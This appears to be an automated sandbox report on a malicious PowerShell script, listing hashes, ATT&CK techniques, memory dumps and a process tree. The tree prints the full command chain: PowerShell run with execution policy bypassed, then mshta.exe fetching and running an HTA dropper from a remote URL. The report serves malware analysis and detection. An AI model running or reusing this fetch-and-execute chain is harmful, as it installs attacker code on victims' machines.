15c486428ca6ef7add4c57355497f270f2a38ed43c40b994933d67d5f7e664fc

Resubmissions

05/05/2024, 18:11

240505-wsw3naca68 10

05/05/2024, 18:02

240505-wmn5vsbh37 10

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
05/05/2024, 18:11

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General

Target

target.ps1
Size

154B
MD5

e92339c8a8820df2920d180ffcc66d45
SHA1

23968fbc5ae4fdf48fd699dcfee8c417317b0444
SHA256

15c486428ca6ef7add4c57355497f270f2a38ed43c40b994933d67d5f7e664fc
SHA512

dba5d0942a75a139fb5c5d67f8421fa0bb3c6f351554677117c46a9136cd12d4940ca80ef94796dfc578dbe81000c08d02ac19709453b26ac810e0d1b6db7abe

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://fatodex.b-cdn.net/fatodex

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1368	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1368	powershell.exe
3020	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeDebugPrivilege	3020	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 3020	1368	powershell.exe	29
PID 1368 wrote to memory of 3020	1368	powershell.exe	29
PID 1368 wrote to memory of 3020	1368	powershell.exe	29
PID 3020 wrote to memory of 2072	3020	powershell.exe	30
PID 3020 wrote to memory of 2072	3020	powershell.exe	30
PID 3020 wrote to memory of 2072	3020	powershell.exe	30

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . mshta.exe https://fatodex.b-cdn.net/fatodex
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://fatodex.b-cdn.net/fatodex
    3⤵
    - Modifies Internet Explorer settings
    PID:2072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
b5eaf45866ff7ac4d25bcd67f7d0c3cd

SHA1
caac2e05a0ddb62bf7ef2ee94fc0f36d46a5dda1

SHA256
7f8bcb75e79bd979e6906a7a9100c1c83c3f7b1aca2b5320835aee6ca830fe04

SHA512
ce7bddbdf68a3f651eea14ed906b6270d4ab2a1a88314837a963ced78794aec3066aeda6886fcca820eedbc1b0e4df2177227e1a2bbced2fb47a6783593109f6

Download Submit
memory/1368-4-0x000007FEF534E000-0x000007FEF534F000-memory.dmp

Filesize
4KB

Download
memory/1368-7-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/1368-6-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download
memory/1368-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/1368-8-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/1368-9-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/1368-10-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/1368-18-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/3020-16-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/3020-17-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download